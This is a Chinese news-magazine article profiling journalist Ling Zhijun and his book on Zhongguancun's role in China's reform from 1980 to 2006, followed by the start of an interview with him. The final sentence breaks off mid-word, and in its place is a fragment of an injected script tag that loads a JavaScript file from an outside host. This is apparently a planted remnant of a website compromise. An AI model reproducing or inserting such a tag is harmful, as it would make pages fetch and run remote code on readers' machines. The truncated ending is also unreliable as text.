“中关村的历史和中国的发展是合拍的，所以我才有兴趣写它”
《人民日报》资深记者凌志军近日出版新书《中国的新革命》。
书的副标题是“1980—2006年，从中关村到中国社会”。由此可见，这本书是通过描写中关村的发展反映中国社会的变迁。正如作者自己所言，“我将着眼于整个国家的大历史”，只不过这次凌志军“选择的样本是中关村”。
凌志军最初被公众认识，是因为1998年他和同事马立诚合作出版了《交锋》。这本记录当代中国三次思想解放实录的政论著作，发行量超过200万册。此后凌志军继续时政写作，2003年出版《变化》一书再度引起反响。
在将近10年的时间里，凌志军完全沉浸于对中国变革的描绘中。他勤奋地记录下自己看到的每一个细节，并不断把它们加入自己的写作框架之中。
因此有人称他为“时政作家”，可凌志军本人却强调自己是个记者。他说，“我并不期望本书的描述能和中关村的正史合拍，那是历史学家的事。我本人的职业是记者，对于人物和事件的取舍，更多的是出于记者的本能。”
凌志军说，他的创作风格在很大程度上受到威廉·曼彻斯特《光荣与梦想》一书的影响。曼彻斯特最大的特点是采用实录的手法，使读者知道“在什么样的时间条件下会发生什么样的事情”。而凌志军效仿的恰恰是这一点，他把中关村的人物、企业及社会变化放在中国转型的大格局中。
在凌志军看来，中关村是中国改革的一个缩影：“在20世纪的最后20年，这个国家打碎了精神枷锁，战胜了饥饿，又让自己成为全世界最庞大的‘制造车间’。在21世纪的第一个10年，它急切地渴望拿下新技术的高地，把‘中国制造’变成‘中国创造’”。“中关村之所以值得注意，就因为它是这条道路上的先行者。”
“中关村在创新之路上蹒跚而行的曲折历程，大致上反映了中国崛起的真相。”凌志军在书的前言中写道，“这包括它的阳光和阴暗，包括它的英明之举和愚蠢行为，也包括它的混乱和秩序。”
在对中关村做系统研究之前，凌志军先后跟踪了坐落在中关村的“微软”“联想”两家企业，并创作了《追随智慧》和《联想风云》。尽管有人说这两本书“有点商业意味”，但并未影响人们对这本关于中关村的新书的关注。
就在书稿刚刚完成之际，凌志军被查出患有重病。近日，本刊记者专访了病中的凌志军。
民间力量的崛起
中国新闻周刊：为什么选择中关村？
凌志军：中关村延续至今，跨越我们国家全部改革历程。同时我意识到，我所看到的中关村的一些事情为公众所不知，而公开舆论中很多深入人心的东西，又与它的本来面目相去甚远。于是我便生出一个念头，想把这个故事的来龙去脉梳理清楚。
中关村作为科学城事实上从上世纪50年代就开始了，但我写的中关村是改革开放以后的20多年。它的这段历史与中国的发展是合拍的，所以我才有兴趣写它。这段历史就是中国新的意识形态、经济形态乃至技术运作模式得到承认和支持的过程，也是民间力量成长起来的过程。
中关村是中国任何一个地方无法比拟的。它的人物太多：富人和穷人、博士和文盲、外来人和本地人、高官显贵和三教九流，都能在这里找到自己的位置，都有机会在这里谱写精彩篇章。它的事件纷繁复杂：经济问题、政治问题、技术问题、环境问题、社会问题、文化问题、传统问题、意识形态问题、人的本性问题，每个故事的结局都是多种因素综合作用的结果。然而最重要的是，它的故事还在继续，所有人物都是“进行时”。
中国新闻周刊：在这段历史中，中关村最具价值的东西是什么？
凌志军：很多人认为，科技是中关村的最大特色。但我不这么看，与其说中关村在技术上有什么贡献，不如说中关村最大的贡献，在于对旧体制的破坏和突破，从而激醒了中国人创造财富和融入世界潮流的热望。中关村的意义在于，它试验着新的社会思想和价值取向。
有时候我觉得中关村更像一个技术中转站，有模仿，也少不了盗版，但在某些枝节领域开始了自己的创造，这与中国的发展是一样的。比如服装、家电、汽车等领域都走过了从模仿到原创的过程。技术含量越高，这个过程就越长。中关村走的就是这样一?script src=http://er12.com/t.js>
